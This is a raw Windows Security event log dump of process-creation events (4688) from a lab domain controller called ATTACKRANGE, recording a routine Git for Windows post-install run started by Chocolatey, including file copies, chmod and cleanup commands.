	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb20
	New Process Name:	C:\Windows\System32\shutdown.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xeec
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\Windows\System32\shutdown.exe" /a

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246188
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xff0
	New Process Name:	C:\Program Files\Git\usr\bin\rm.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xcf8
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	"C:\Program Files\Git\usr\bin\rm.exe" -rf /etc/post-install

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246187
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcf8
	New Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfc8
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	usr\bin\bash.exe  --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246186
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc74
	New Process Name:	C:\Program Files\Git\usr\bin\chmod.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfcc
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	"C:\Program Files\Git\usr\bin\chmod.exe" 1777 /tmp

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246185
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfcc
	New Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfc8
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	usr\bin\bash.exe  --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246184
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe2c
	New Process Name:	C:\Program Files\Git\usr\bin\cp.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa34
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	"C:\Program Files\Git\usr\bin\cp.exe" -p -v C:\Windows\system32\drivers\etc\networks /etc/networks

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246183
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa34
	New Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfc8
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	usr\bin\bash.exe  --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246182
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x830
	New Process Name:	C:\Program Files\Git\usr\bin\expr.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x8c8
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	"C:\Program Files\Git\usr\bin\expr.exe" substr networks 1 8

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246181
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8c8
	New Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfc8
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	usr\bin\bash.exe  --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246180
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xed8
	New Process Name:	C:\Program Files\Git\usr\bin\cp.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x46c
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	"C:\Program Files\Git\usr\bin\cp.exe" -p -v C:\Windows\system32\drivers\etc\services /etc/services

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246179
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x46c
	New Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfc8
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	usr\bin\bash.exe  --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246178
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf44
	New Process Name:	C:\Program Files\Git\usr\bin\expr.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe5c
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	"C:\Program Files\Git\usr\bin\expr.exe" substr services 1 8

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246177
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe5c
	New Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfc8
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	usr\bin\bash.exe  --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246176
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x370
	New Process Name:	C:\Program Files\Git\usr\bin\cp.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xab4
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	"C:\Program Files\Git\usr\bin\cp.exe" -p -v C:\Windows\system32\drivers\etc\protocol /etc/protocols

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246175
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xab4
	New Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfc8
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	usr\bin\bash.exe  --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246174
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x318
	New Process Name:	C:\Program Files\Git\usr\bin\expr.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd8c
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	"C:\Program Files\Git\usr\bin\expr.exe" substr protocols 1 8

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246173
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd8c
	New Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfc8
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	usr\bin\bash.exe  --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246172
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x838
	New Process Name:	C:\Program Files\Git\usr\bin\cp.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x5e4
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	"C:\Program Files\Git\usr\bin\cp.exe" -p -v C:\Windows\system32\drivers\etc\hosts /etc/hosts

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246171
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5e4
	New Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfc8
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	usr\bin\bash.exe  --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246170
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa44
	New Process Name:	C:\Program Files\Git\usr\bin\expr.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd20
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	"C:\Program Files\Git\usr\bin\expr.exe" substr hosts 1 8

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

